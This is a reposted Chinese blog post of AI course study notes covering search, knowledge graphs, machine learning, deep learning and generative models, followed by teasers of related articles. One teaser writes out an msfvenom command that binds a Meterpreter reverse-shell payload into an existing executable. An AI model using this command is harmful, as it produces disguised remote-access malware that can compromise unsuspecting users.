AI类课程的笔记

信息论、导论、模式识别(数据挖掘)、语义网络与知识图谱、深度学习、强化学习

(零)信息论

详见另一篇博文

信息论自总结笔记(仍然在更新)_信息论也更新了-CSDN博客icon-default.png?t=O83Ahttps://blog.csdn.net/sinat_27382047/article/details/126905046

包括微积分、线性代数、概率论、离散数学 


(一)AI导论

三大要素 

搜索、推理、学习

形式化4要素

初始状态、后继函数、目标测试、路径耗散函数

一、搜索

完备性、最优性、时/空复杂度

性能量度

分支因子、目标结点深度、路径最大长度、搜索深度限制、搜索耗散

1.无信息搜索策略

广度优先、代价一致
深度优先、深度有限
迭代深入深度优先搜索

2.启发式搜索

贪婪最佳优先算法

A* -有效分支因子b*

3.局部搜索算法

模拟退火算法
遗传算法(GA)

4.约束满足问题

约束满足问题(‌CSPs)是一组对象,这些对象需要满足一些限制或条件‌。CSPs通常呈现高复杂性,需要同时透过‌启发式搜索和‌联合搜索的方法,在合理的时间内解决问题。

最小剩余启发式、度启发式;变量约束启发式

5.博弈搜索(对抗搜索)

(α-β剪枝)【夹逼剪枝(雾)】

AlphaGo核心方法

关键:

改进的蒙特卡洛树搜索MCTS 棋局图像化(19x19)从而可以使用CNN网络;

设计policy 和value 网络改进Monte Carlo模拟;

使用监督学习和强化学习训练这两个网络;

将以上方法整合进MCTS的框架;

Alpha Go Zero:self-play数据的生成和扩充

MCTS算法的主要步骤

MCTS算法主要包括以下四个步骤:

  1. 选择(Selection)‌:从根节点开始,递归选择最优的子节点,最终到达一个叶子节点。选择过程使用Upper Confidence Bounds(‌UCB)策略,平衡探索和利用。
  2. 扩展(Expansion)‌:如果当前叶子节点不是终止节点,则创建一个或多个子节点。
  3. 模拟(Simulation)‌:从扩展节点开始,运行一个模拟直到博弈游戏结束。模拟过程中可以随机评估多次,取最优值或平均值来提升评估的可靠性。
  4. 回溯(Backpropagation)‌:根据模拟结果更新树中节点的统计信息,包括胜利次数和总模拟次数等。

二、知识和推理

逻辑:表示信息的形式化语言

基于知识的确定性推理:命题逻辑、一阶逻辑:——Hunt the Wumpus 游戏

基于知识的不确定性推理:贝叶斯网(联合概率->条件概率 简化复杂度;贝叶斯网->剪枝方式:噪声或)、模糊逻辑;

基于案例的推理

知识图谱的推理

智能化智能体需要关于世界的知识以达到良好的决策;前向链接和反向链接都是用于以Horn Form表示的知识库的非常自然的推理算法。

三、人工神经网络(ANN Artificial Neural Network)

1.单层感知机及学习方法

前馈神经网(Feed-Forward Neural Networks)

最小均方误差(Least Mean Square,简称LMS)

自适应线性神经元(Adaline)

2.多层感知机( MLP Multi-Layer Perceptrons)与误差反向传播(BP Backpropagation)算法

无监督SOM网、无监督ART网、无监督Hopfield网

深度学习DBN、CNN、RNN


(二)语义网络(知识图谱)

WordNet、DBPedia 

Embedding(嵌入)是机器学习和深度学习中的一种技术,它将高维数据映射到一个低维的向量空间中,以便能够更高效地处理和表示数据。Embedding 通常用于将离散对象(如单词、物品、节点等)表示为连续的向量形式,从而使得这些对象能够在数值空间中进行操作。

一、语义网络和知识图谱简介

实体三元组(Ent1, Relation, Ent2)

知识库是一个有向图
 多关系数据(multi-relational data)
 节点:实体/概念
 边:关系/属性
 关系事实= (头部实体,关系/属性,尾部实体)

知识图谱的生命周期
 知识建模
 建模领域知识结构
本体建模
 知识获取
 获取领域内的事实知识
信息抽取、文本挖掘
 知识集成
 估计知识的可信度,将碎片知识组装成知识网络
本体对齐、实体链接技术
 知识存储/查询/应用
 提供高性能知识服务
知识表示、查询、推理

二、知识表示与知识建模

谓词逻辑表示法特性
优点: 
精确性:可以较准确地表示知识并支持精确推理。
通用性:拥有通用的逻辑演算方法和推理规则。
自然性:是一种接近于人类自然语言的形式语言系统。
模块化:各条知识相对独立,它们之间不直接发生联
系,便于知识的添加、删除和修改。
缺点: 
表示能力差:只能表示确定性知识,不能表示非确定
性知识、过程性知识和启发式知识。
管理困难:缺乏知识的组织原则,知识库管理困难。
效率低:把推理演算与知识含义截然分开,往往使推
理过程冗长,降低了系统效率。

框架表示法特性
优点: 
结构化:分层次嵌套式结构,既可以表示知识的内部
结构,又可以表示知识之间的联系。
继承性:下层框架可以从上层框架继承某些属性或值,
也可以进行补充修改,减少冗余信息并节省存储空间。
自然性:框架理论符合人类认知的思维过程。
模块化:每个框架是相对独立的数据结构,便于知识
的添加、删除和修改。
缺点: 
不能表示过程性知识。
缺乏明确的推理机制。

三、知识抽取与挖掘

1.实体识别

分词

基于字典的分词方法

基于统计的分词方法:生成式方法(HMM :Hidden Markov Model),隐马尔可夫模型:分词+词性标注;

判别式方法(CRF条件随机场)

命名实体识别

基于字典的命名实体识别方法
基于统计的命名实体识别方法
• 基于HMM的NER方法
• 基于CRF的NER方法
• 基于深度学习的NER方法

基于LSTM + CRF的NER方法

基于膨胀卷积 IDCNN+CRF 的 NER

基于 BERT 的 NER 方法: 用 BERT

实体链接

给定实体指称项(mention)和它所在的文本,将其链接到给定知识库中的相应实体(entity)上。

主要步骤 
候选实体的发现
 给定实体指称项,链接系统根据知识、规则等信息找到实体指称项的候选实体 (实体引用表)候选实体的链接
 系统根据指称项和候选实体之间的相似度等特征,选择实体指称项的目标实体

相关方法: 基于词袋子模型(BOW)计算相似度、类别特征(Bunescu EACL 2006)、实体流行度等特征(Han ACL 2011)、基于图的协同链接

异质知识图谱中的实体对齐AliNet (AAAI 2020)

结构化数据的知识抽取:R2RML

半结构化数据的知识抽取:RoadRunner

2.关系抽取

自动识别由一对概念和联系这对概念的关系构成的相关三元组

自然语言的表示学习
基本语言单元的语义表示
 词的表示
 分布式原则
更大语言单元的语义表示
 句子的表示
 语义组合原则
深度学习的本质:用数值(向量,矩阵等)表示各个语
言单元的语义(特征)

CNN、RNN、LSTM、Attention CNNs

Distant Supervision:使用知识库中的关系启发式的标注训练语料

1. 简单远距离监督方法 (Mintz et al.,ACL09)

2. Piecewise Convolutional Neural Networks (Zeng 2015)

3. Selective Attention over Instances (Lin 2016)

4. Multi-instance Multi-label CNNs (Jiang et al., 2016)

5. Multi-Instance With extra Entity Descriptin (Ji 2017)

6. Matching the Blanks: Distributional Similarity for RelationLearning(Ling 2019)

实体关系抽取工具:Deepdive

3.事件抽取

事件:特定的人、物在特定时间和特定地点相互作用的客观事实。一般是句子级的。
• 组成元素
• 触发词:表示事件发生的核心词,多为动词或名词;
• 事件类型:ACE2005 定义了8种事件类型和33种子类型。
• 论元:事件的参与者,主要由实体、值、时间组成。值是一种非实体的事件参与者,例如工作岗位 。
• 论元角色:事件论元在事件中充当的角色。 ACE2005共有35类角色

事件抽取的基本任务

• 事件触发词检测 Event (trigger) detection
• 事件触发词分类 Event trigger typing (一般和detection一起做,归结为detection的一部分)
• 事件论元识别 Event Argument Identification
• 事件论元角色识别 Event Argument Role Identification

 事件抽取的典型方法

基于神经网络的方法: 

网络结构:不同的网络结构捕捉文本中不同的信息
 卷积神经网络(CNN)(Chen et al. ACL 2015, Nguyen et al.2015, Chen et al.2017)
 多层感知机(MLN)(Liu et al. 2016, Liu et al.2017)
 循环神经网络(RNN)
 图神经网络 (GCN)
 预训练语言模型 (PLM)

1.基于动态最大池化技术的卷积神经网络

2.基于有监督关注机制的多层感知机模型

3.基于RNN的联合事件抽取模型

4.基于RNN的Document-Level触发词抽取模型

5.基于论元感知池化的GCN事件抽取模型

基于提示语Prompt的文本分类

传统task-specific的有监督模式
 预训练语言模型的研究思路通常是“pre-train, fine-tune”
 融入了Prompt的新模式 “pre-train, prompt, and predict” 

四、知识存储、推理和应用

掌握XML、RDF和OWL技术标准

1.图表示学习

传统图机器学习方法(节点级任务、边级任务、图级别任务)
节点表示学习(编码-解码、随机游走算法)
图神经网络(深度学习基础、图深度学习、GNN框架)

2.知识图谱嵌入

异质图和知识图谱嵌入
知识图谱补全

3.知识图谱推理

直接推理
多跳推理
复杂推理

4.注意力机制

QKV 模式(Query-Key-Value)

多头(multi-head )自注意力模型

Transformer 编码器

BERT– Bidirectional Encoder Representations from Transformers


(三)模式识别(数据挖掘+机器学习ML Machine learning)

数据挖掘的一大特点是要做很多的特征工程(Feature Engineering)。用户往往需要深入理解数据,然后基于领域知识设计有用的特征。例如,如果处理财务数据,用户可能手动构建特征如“价格涨跌幅”或“移动平均”等。这个过程是半自动化的,需要专家介入。

数据挖掘带着数据获取和数据分析,但是分析的部分还是要人进行特征工程。深度学习的一个关键优势在于自动特征学习。通过多个隐藏层,深度学习能够从原始数据中自动提取高层次的特征,而无需手动进行特征工程。网络会通过反向传播学习最有用的特征,减少了对人工干预的需求。

  • 数据挖掘 强调从数据中提取模式、规则和洞察,使用的算法比较多样化,通常需要手动设计特征。数据挖掘方法通常依赖于传统的统计方法和浅层的机器学习算法。这些算法通常需要大量的特征工程,用户需要对数据有深刻理解并设计特征。它的应用领域更偏向于从业务数据中提取有用的规则或模式。
  • 深度学习 是机器学习的一个分支,它通过多层神经网络自动从大数据中学习复杂特征表示,能够处理更复杂的任务和数据。激活函数的引入只是深度学习与传统数据挖掘技术的一个区别,深度学习的本质区别在于其“深层次自动特征学习”和处理复杂非线性问题的能力。

数据、特征、算法、评估

一、机器学习的对比与区别

  • 机器学习 是一个广泛的领域,其中包含了许多算法和方法,而不仅仅局限于 深度学习强化学习。这些方法往往用于各种各样的任务,覆盖监督学习、无监督学习、半监督学习、概率模型、优化算法等多个领域。
  • 深度学习 主要是基于多层神经网络的复杂学习方法,强调自动化的特征提取和模式识别。
  • 强化学习 则是一种学习如何在一个动态环境中做出最佳决策的策略优化方法。

二、相关方法

以下是一些在机器学习中存在,但不在深度学习或强化学习中的重要内容:

1. 传统的监督学习算法(Supervised learning

这些算法是机器学习中最基础的内容,不依赖深层网络结构。

  • 线性回归:(比如最小二乘法)用于连续数值预测。基于线性关系来拟合数据。
  • 逻辑回归:用于二分类问题,尽管叫“回归”,它实际上是一个分类算法。
  • 支持向量机(SVM):用于分类、回归和异常检测,通过找到能够最大化分类间距的决策边界。
  • K最近邻(KNN):基于距离度量,分类器将数据点划分为与其最近的 k 个点属于同一类的类别。
  • 决策树:基于树形结构来做出分类决策。
  • 随机森林:由多个决策树组成的集成方法,通过投票提高模型的预测准确性。
  • 梯度下降法( Gradient Descent , GD ):梯度下降法是一种通用的优化算法,最初主要用于传统机器学习模型的训练。然而,它在深度学习中也被广泛应用。随机梯度下降法(SGD)用于更新模型参数,以最小化损失函数。
  • 梯度提升机(GBM):通过多个弱学习器(通常是决策树)逐步改进模型性能,类似的还有 XGBoost、LightGBM 等现代变种。
  • 奇异值分解( SVD ):将矩阵分解为二个正交矩阵与一个对角矩阵的乘积,用于数据压缩、推荐系统。

这些方法大多被称为“浅层模型”,因为它们通常没有复杂的层次结构,也不涉及深层神经网络。

2. 无监督学习(Unsupervised learning)

与监督学习不同,无监督学习不依赖标签数据,而是从数据的结构中挖掘潜在的模式。

  • K-means 聚类:将数据划分为 k 个簇,通过迭代优化聚类中心位置,发现数据内部的结构或模式。
  • Apriori算法:是著名的啤酒-纸尿裤算法。Apriori 算法开创性地使用基于支持度的剪枝技术(先验原理),使用逐层搜索(宽度优先)的迭代搜索方法,系统地控制候选项集指数增长。——关联分析( Association Analysis )又称关联挖掘,就是在交易数据、关系数据或其他信息载体中,查找存在于项目集合或对象集合之间的 频繁项集 ( Frequent Itemsets )和代表相关关系(或因果关系)的 关联规则 ( Association Rules )。规则发现算法:KID3 , AIS,SETM,Apriori,AprioriTid,AprioriHybrid。
  • 层次聚类:基于数据点之间的距离或相似性来构建树状的聚类结构。
  • 主成分分析(PCA):用于降维,通过投影将数据映射到较低维度的空间,同时保留最多的方差信息。
  • 自组织映射(SOM):基于神经网络的无监督学习算法,用于数据的降维和聚类。
  • 高斯混合模型(GMM):基于概率的聚类算法,假设数据是由多个高斯分布组成。

无监督学习不直接涉及深度学习或强化学习,而是用于探索数据的结构和模式。

3. 半监督学习

在这种方法中,模型在训练时使用的是部分有标签的数据,而非完全有标签的数据。

  • 例如,半监督学习可能会用 10% 的标注数据加 90% 的无标注数据来提升模型的准确性。
  • 标签传播:通过已知标签的数据点在相似性图上传播标签信息,推断无标签数据的类别。

4. 迁移学习

迁移学习是一种能够将一个领域的知识迁移到另一个领域中使用的技术,尤其是在小数据集或不同但相关的任务中很有用。虽然它经常与深度学习结合使用,但迁移学习的理念可以超出深度学习的框架。

  • 在迁移学习中,训练好的模型可以在另一个相似任务上进行微调,减少训练数据的依赖。

5. 集成学习

集成学习通过结合多个模型来提高性能,集成的思想并不局限于深度学习网络。

  • 袋装法(Bagging):如随机森林,多个弱模型(如决策树)一起进行投票或平均以提高预测性能。
  • 提升法(Boosting):如 AdaBoost、XGBoost,它是通过让多个弱模型逐步改进误差来构建一个强模型。

集成学习可以用于不同类型的机器学习模型,它们并不局限于神经网络模型。

6. 概率图模型

  • 贝叶斯网络:基于概率论的图结构模型,表示变量之间的条件依赖关系。它常用于分类、预测以及因果推断中。
  • 马尔可夫随机场:通过表示变量之间的联合概率分布来建模图结构,常用于图像处理或社交网络分析。

这些模型强调概率和统计关系的建模,不依赖于深度学习的神经网络架构。

7. 核方法

核方法的核心在于通过非线性映射提升模型的能力,而不需要深层网络。

8. 进化算法

  • 遗传算法(GA):基于进化的自然选择理论,通过选择、交叉和突变来优化问题求解。它与强化学习不同,不涉及直接的策略优化或值函数。
  • 粒子群优化(PSO):模拟鸟群或鱼群的群体行为进行优化。

这些方法基于生物学的进化过程来寻找最优解,而不是通过反复训练更新权重。

9. 主动学习

主动学习是一种通过选择最有信息的样本进行标注,来优化模型的学习过程。它主要用于当标注数据的获取代价较高时,比如手动标注数据集时。不同于深度学习的全监督学习,主动学习通过少量精心挑选的数据点来训练模型。


(四)深度学习(DL Deep learning)

深度学习不太依赖于手动的特征工程。相反,它通过多层非线性激活函数自动学习数据的特征表示。深度学习的主要研究内容是基于神经网络架构的,说白了就是网络架构设计与优化,不会再像传统机器学习一样去考虑对数据的分析,主要就是神经网络设计。

深度学习的三个步骤:

定义网络,损失函数loss、优化

 樱桃:纯强化学习;奶油:监督学习;蛋糕坯:自监督学习();

KL 散度、loss曲线、交叉熵

真实分布P 和 模型分布Q 两个概率分布

交叉熵

交叉熵是一种用来衡量两个概率分布之间差异的指标。

KL散度

KL 散度可以理解为我们使用模型分布 QQQ 来表示真实分布 PPP 时,损失了多少信息量。KL 散度值越大,意味着 QQQ 偏离 PPP 的程度越大;KL 散度为 0,表示两者完全相同。

KL 散度和交叉熵的关系

loss曲线

在模型训练过程中,损失曲线 是训练过程中的 KL散度随时间(或迭代次数)变化的图。通常情况下,KL 散度会随着训练逐渐下降,表明模型的预测分布 Q 逐渐接近真实分布 P。

对于XOR问题:

➢将输入映射到高维空间
◆优点:可以有效扩展模型的容量
◆缺点:没有充分编码先验信息,泛化能力不足
➢增加手工特征
◆优点:可以引入必要的特征提升判别力
◆缺点:需要人工设计
➢基于深度学习的算法
◆优点:提升模型容量
◆缺点:可解释性、黑盒子

一、深度前馈网络(FNN Feedforward Neural Network)

前馈:数据从输入,经中间层处理,到输出,无反馈连接,

多层感知机(MLP)

参数化的线性映射层(权重 ,偏置 ):网络层的映射

激活函数:提供非线性能力

由于这种仿生设计,主要是这几种问题:

不同神经元如何连接1. 深度网络结构的设计问题
人工神经元·参数化的线性单元(胞体)2. 线性单元参数的优化问题
人工神经元·激活函数(输出轴突)3. 激活函数的设计问题

神经网络的拟合能力

通用近似定理
◆根据通用近似定理,对于具有线性输出层和至少一个使用“挤压”性质的
激活函数的隐藏层组成的神经网络【 两层 MLP】,只要其隐藏层神经元的数
量足够 【 足够宽 】,它可以以任意的精度来近似任何一个定义在实数空间
中的有界闭集函数 【 近似能力足够 】

反向传播算法(BP)

反向传播的流程: :
1. 初始化整个计算图
2. 在每个节点存储 (a) 前向传播的结果 (b) 目标与节点变量
的偏微分。
3. 将偏微分值初始化为0.
4. 反向访问每个节点,将对应的梯度叠加于偏微分值
5. 反向传播结束后基于累计梯度对主要参数进行更新

计算图:将网络结构表达为一个图,每个叶子节点达标一个输入变量或常量,在梯度反传时用到,便于进行梯度计算的优化。静态计算图是在编译时构建计算图,计算图构建好之后在程序运行
时不能改变。动态计算图是在程序运行时动态构建。两种构建方式各有优缺点。

激活函数:激活函数是神经网络非线性、非凸表达能力的重要构成。常见的激活函数包括 ReLU、Sigmoid、Tanh、GELU 等。

全连接神经网络(FCN)

二、深度网络的正则化训练

正则化:参数正则化、数据增广、Early Stop、BatchNorm

目标:减少泛化误差而非训练误差(以偏差换方差)
➢广义:用于防止神经网络过拟合的技巧或方法,如权重衰减,dropout,BatchNorm.
➢狭义:特指优化目标中引入的额外约束项(用于防止过拟合)

 ‌‌Dropout是一种有效的正则化技术,通过随机丢弃‌神经网络中的部分节点(即神经元),来防止过拟合,提高模型的泛化能力,并减少计算量。

三、深度网络的优化

梯度下降优化算法:SGD with Nesterov Momentum、RMSprop、Adam、二阶优化算法(Newton
、BFGS/L-BFGS、Gauss-Newton)

训练网络的基本策略
◆从一个确定可以工作的简单模型开始(使用标准数据集、标准模型、标准
损失函数)
◆去掉正则化技巧(如正则化、数据扩充、dropout)
◆对于微调模型,检查并确保其预处理与原始模型的一致性
◆检查并确保输入数据的正确性
◆从小数据的过拟合开始,并逐步增加数据进行测试。
◆逐步加入不同的正则化技巧,并测试其影响

确保数据的正确性、测试在随机输入上的结果、检查DataLoader后的数据、确保输入与输出的关联、手动检验数据集中的噪声、随机打乱数据集、减少类别不均衡、确保充足的训练数据、确保每个batch中类别的随机性、使用标准数据集、数据预处理、检查数据扩充、检查预训练模型的预处理、检查验证集的预处理、小数据集的过拟合、确保在小型数据集上能够很好地过拟合、检查权重初始化、尝试不同的超参数、减少正则化、更多的训练时间、尝试不同的优化器、梯度爆炸和梯度消失、增加或减小学习率、避免NaNs

四、卷积神经网络(CNN)

用于图像、视频等空间数据的处理

核心问题:卷积层、感受野

典型代表:LeNet-98、AlexNet、VGG-Net、Inception系列、ResNet(残差模块、恒等映射identity mapping)、DenseNet、FPN (Feature pyramid network)

经典的视觉任务:分类任务、语义分割(U-Net、DeepLabV3+)、目标检测(RCNN: Region-based CNN、Fast RCNN、Faster RCNN、YOLO、Mask R-CNN、Segment Anything)、实例分割;


五、循环神经网络(RNN)长短期记忆网络(LSTM)

用于序列数据和时间序列建模。

主要问题:梯度消失、梯度爆炸

N-gram语言模型、双向RNN、BERT、Stacked RNN(4层用于RNN解码可以取得最好的效
果。对于更深层次,需要使用skip connection或dense connection,例如Transformer)、

 为解决提出,通过使用门控网络来确保梯度的恰当回传(LSTM,HighwayNet)

代表模型:LSTM: Long Short-Term Memory、UGRNN:Update Gate Recurrent Neural Network、GRU: Gated Recurrent Unit

六、图卷积神经网络(GNN)

 对于图这类数据结构的数据,如何设计神经网络?

空域卷积:Graph attention networks(GAT)、ChebNet,、SGCN、ChebNet

谱域卷积:谱分解(矩阵的特征值分解)、图傅里叶变换、基于拉普拉斯矩阵的图卷积、切比雪夫图卷积

DGCNN(聚合了点的局部特征、在经过多层迭代更好的捕捉到潜在的远距离相似特征、动态图
、需要为每一层计算KNN计算开销大)

七、变形神经网络(Transformer)

注意力机制,用于自然语言处理等领域。

注意力机制通过可变加权,相比 CNN \ RNN \ GNN 有更大的优势

参数缩放点积注意力 、自注意力、通道注意力(Squeeze-and-Excitation Network, SENet)、空间注意力 (Non-local Neural Networks)、时间注意力(Global Local Temporal Representation, GLTR)、分支注意力(Selective kernel networks, SKNet)、时空注意力

变形网络 Transformer

Swin Transformer、DETR、典型的预训练解码器:2018年推出的GPT(Generative Pre-Trained Transformer 生成式预训练转换器)、BERT

八、深度生成模型(GAN、扩散算法)

用于数据生成和样本增强。

生成模型(Generative model),生成模型定义了数据的概率分布,构建数据的生成分布以便可以生成与训练数据相似的样本。

生成任务需要对样本的概率分布进行建模;生成模型可以用于样本的概率估计;生成模型可以用于补全数据;生成模型可以通过无监督的方式学习数据分布的低维嵌套与基本结构。

生成模型,比如PixelRNN

变分自编码网络,比如VAE(Variational Auto Encoder),通过引入概率模型使得数据生成成为可能

生成对抗结构GAN (Generative adversarial networks),生成器:尝试生成可以欺骗判别器的样样本、判别器:尝试区分真实样本与虚假样本(缺点:经常会出现模式崩溃)

Deep Convolutional GAN、CycleGAN、ProgressiveGAN、BigGAN、StyleGAN

去噪扩散概率模型DDPM(Denoising Diffusion Probabilistic Models ),前向扩散:在输入中逐步加入噪声、逆向扩散:通过去噪声学习数据的生成


(五)强化学习(RL Reinforcement learning)

课程:

强化学习课程重温-(乱七八糟)笔记-CSDN博客icon-default.png?t=O83Ahttps://blog.csdn.net/sinat_27382047/article/details/141104288实践:

强化学习实操入门随笔-CSDN博客icon-default.png?t=O83Ahttps://blog.csdn.net/sinat_27382047/article/details/136553623


(六)其他

零、碎碎念 ,自己梳理的发展史

1996年那些互联网大佬开始发迹;我第一次接触电脑在2000年左右,2005年左右的上网时尚我没有赶上;我初中时2011年左右互联网社区开始普及,我记得是2014左右提出的云计算,还有时兴一阵的李开复的语音识别;在2015年左右移动互联网开始普及,那时还在设想元宇宙呢(没想到是2016短视频、移动平台直播的爆发年,以及共享单车所谓物联网的出现)后来是所谓的大数据,以及里程碑似的AlphaGO;(其实2017年开始已经有风格转绘了,还有后来的GAN图像生成)再后来我开始工作,2019年比较火的是docker等技术;直到2022年底出现的AI绘画、2022年11月30日出现的chatGPT,将2023年正在读AI专业研的我大受震撼。现在已经是2024年秋了,我却还在为毕业选题发愁……555

一、模式pattern 与 模型model

关于一些模型的罗列:

人工智能模型学习笔记-CSDN博客icon-default.png?t=O83Ahttps://blog.csdn.net/sinat_27382047/article/details/137260066

二、关于智能决策

《智能决策技术及应用》笔记-CSDN博客icon-default.png?t=O83Ahttps://blog.csdn.net/sinat_27382047/article/details/134795891

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/887525.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Elasticsearch 实战应用

Elasticsearch 实战应用 引言 Elasticsearch 是一个分布式、RESTful 风格的搜索和分析引擎,能够快速、实时地处理大规模数据,广泛应用于全文搜索、日志分析、推荐系统等领域。在这篇博客中,我们将从 Elasticsearch 的基本概念入手&#xff…

无神论文解读之ControlNet:Adding Conditional Control to Text-to-Image Diffusion Models

一、什么是ControlNet ControlNet是一种能够控制模型生成内容的方法,能够对文生图等模型添加限制信息(边缘、深度图、法向量图、姿势点图等),在当今生成比较火的时代很流行。 这种方法使得能够直接提供空间信息控制图片以更细粒…

Hive数仓操作(十七)

一、Hive的存储 一、Hive 四种存储格式 在 Hive 中,支持四种主要的数据存储格式,每种格式有其特点和适用场景,不过一般只会使用Text 和 ORC : 1. Text 说明:Hive 的默认存储格式。存储方式:行存储。优点…

设计模式、系统设计 record part03

创建者模式 1.创建、使用,二者分离 2.降低,耦合度 3.使用者,不用关注,对象的创建细节 工厂模式: 1.对象由工厂生产, 2.使用者与工厂交流,不与对象直接打交道, 3.在工厂里直接更换对象…

快手:数据库升级实践,实现PB级数据的高效管理|OceanBase案例

本文作者:胡玉龙,快手技术专家 快手在较初期采用了OceanBase 3.1版本成功替换了多个核心业务、数百套的MySQL集群。至2023年,快手的数据量已突破800TB大关,其中最大集群的数据量更是达到了数百TB级别。为此,快手将数据…

静止坐标系和旋转坐标系变换的线性化,锁相环线性化通用推导

将笛卡尔坐标系的电压 [ U x , U y ] [U_x, U_y] [Ux​,Uy​] 通过旋转变换(由锁相环角度 θ P L L \theta_{PLL} θPLL​ 控制)转换为 dq 坐标系下的电压 [ U d , U q ] [U_d, U_q] [Ud​,Uq​]。这个公式是非线性的,因为它涉及到正弦和余弦函数。 图片中的推导过程主要…

[C++]使用C++部署yolov11目标检测的tensorrt模型支持图片视频推理windows测试通过

官方框架: https://github.com/ultralytics/ultralytics yolov8官方最近推出yolov11框架,标志着目标检测又多了一个检测利器,于是尝试在windows下部署yolov11的tensorrt模型,并最终成功。 重要说明:安装环境视为最基…

总结TypeScript相关知识

目录 引入认识特点安装使用变量声明类型推导 JS 和 TS 共有类型number类型boolean类型string类型Array类型null和undefined类型object类型symbol类型对象类型函数类型 可选和只读type 和 interface索引签名类型断言非空类型断言类型缩小严格赋值检测现象TS 新增类型字面量类型a…

Golang | Leetcode Golang题解之第452题用最少数量的箭引爆气球

题目&#xff1a; 题解&#xff1a; func findMinArrowShots(points [][]int) int {if len(points) 0 {return 0}sort.Slice(points, func(i, j int) bool { return points[i][1] < points[j][1] })maxRight : points[0][1]ans : 1for _, p : range points {if p[0] > …

windows下安装rabbitMQ并开通管理界面和允许远程访问

如题&#xff0c;在windows下安装一个rabbitMQ server&#xff1b;然后用浏览器访问其管理界面&#xff1b;由于rabbitMQ的默认账号guest默认只能本机访问&#xff0c;因此需要设置允许其他机器远程访问。这跟mysql的思路很像&#xff0c;默认只能本地访问&#xff0c;要远程访…

Jenkins pipeline配置示例

前提条件&#xff1a;已经安装Jenkins并能正常启动 如果Jenkins安装启动遇到问题可以参考&#xff1a; 1.创建pipeline 点击新建项目&#xff1a; 输入名称&#xff0c;选择pipeline&#xff1a; 进入配置页面&#xff0c;如果要配置GitHub Webhook要勾选&#xff1a;<fo…

机器人的性能指标

1. 负荷能力 负荷能力负荷能力是指机器人在满足其他性能要求的情况下,能够承载的负荷重量。例如,一台机器人的最大负荷能力可能远大于它的额定负荷能力,但是达到最大负荷时,机器人的工作精度可能会降低,可能无法准确地沿着预定的轨迹运动,或者产生额外的偏差。机器人的负荷量与…

交换排序:冒泡排序、递归实现快速排序

目录 冒泡排序 1.冒泡排序的核心思想 2.冒泡排序的思路步骤 3.冒泡排序代码 4.代码分析 5.对冒泡排序的时间复杂度是O(N^2)进行解析 6.冒泡排序的特性总结 递归实现快速排序(二路划分版本) 1.快速排序基本思路 2.代码思路步骤 3.代码实现 4.代码分析 (1)递归终止条…

lrzsz串口文件传输

此时如果需要传输文件&#xff0c;需要借助rz/sz工具&#xff0c;可以使用的传输协议有ZMODEM、YMODEM、XMODEM&#xff0c;默认是ZMODEM。 https://en.wikipedia.org/wiki/ZMODEM https://gallium.inria.fr/~doligez/zmodem/zmodem.txt 这里记录item2下使用rz/sz进行文件传输…

MSF捆绑文件

msf捆绑文件 msf快速打开不启动banner msfconsole -q msf捆绑文件 msfvenom -p windows/meterpreter/reverse_tcp LHOST127.0.0.1 LPORT8888 -f exe -x 1.exe -o msf.exe

Java 网络编程基础

网络通信三要素 此笔记来之与黑马.B站的视频是真的高 基本的通信架构 基本的通信架构有2种形式&#xff1a;CS架构&#xff08;Client 客户端/ Server 服务端&#xff09;、BS架构( Browser 浏览器/ Server 服务端)。 IP 地址 IP&#xff08;InternetProtocol&#xff09;&a…

Java中的break、continue和return语句

break、continue和return break语句引入基本介绍基本语法示意图注意事项练习String字符串的比较 continue跳转控制语句基本介绍基本语法示意图 return跳转控制语句 break语句 引入 随机生成1-100的一个数&#xff0c;直到生成了97这个数&#xff0c;看看你一共用了几次&#…

Electron 使⽤ electron-builder 打包应用

electron有几种打包方式&#xff0c;我使用的是electron-builder。虽然下载依赖的时候让我暴躁&#xff0c;使用起来也很繁琐&#xff0c;但是它能进行很多自定义&#xff0c;打包完成后的体积也要小一些。 安装electron-builder&#xff1a; npm install electron-builder -…

教育领域的技术突破:SpringBoot系统实现

2相关技术 2.1 MYSQL数据库 MySQL是一个真正的多用户、多线程SQL数据库服务器。 是基于SQL的客户/服务器模式的关系数据库管理系统&#xff0c;它的有点有有功能强大、使用简单、管理方便、安全可靠性高、运行速度快、多线程、跨平台性、完全网络化、稳定性等&#xff0c;非常…

传感器模块编程实践(二)W5500 SPI转以太网模块简介及驱动源码

文章目录 一.概要二.W5500芯片介绍W5500通讯协议介绍 三.W5500模块介绍四.W5500模块原理图五.W5500以太网模通讯实验六.CubeMX工程源代码下载七.小结 一.概要 我们介绍过单片机的以太网系统一般是由&#xff1a;单片机MACPHYRJ45。有些单片机比如STM32F407VET6芯片内部自带MAC…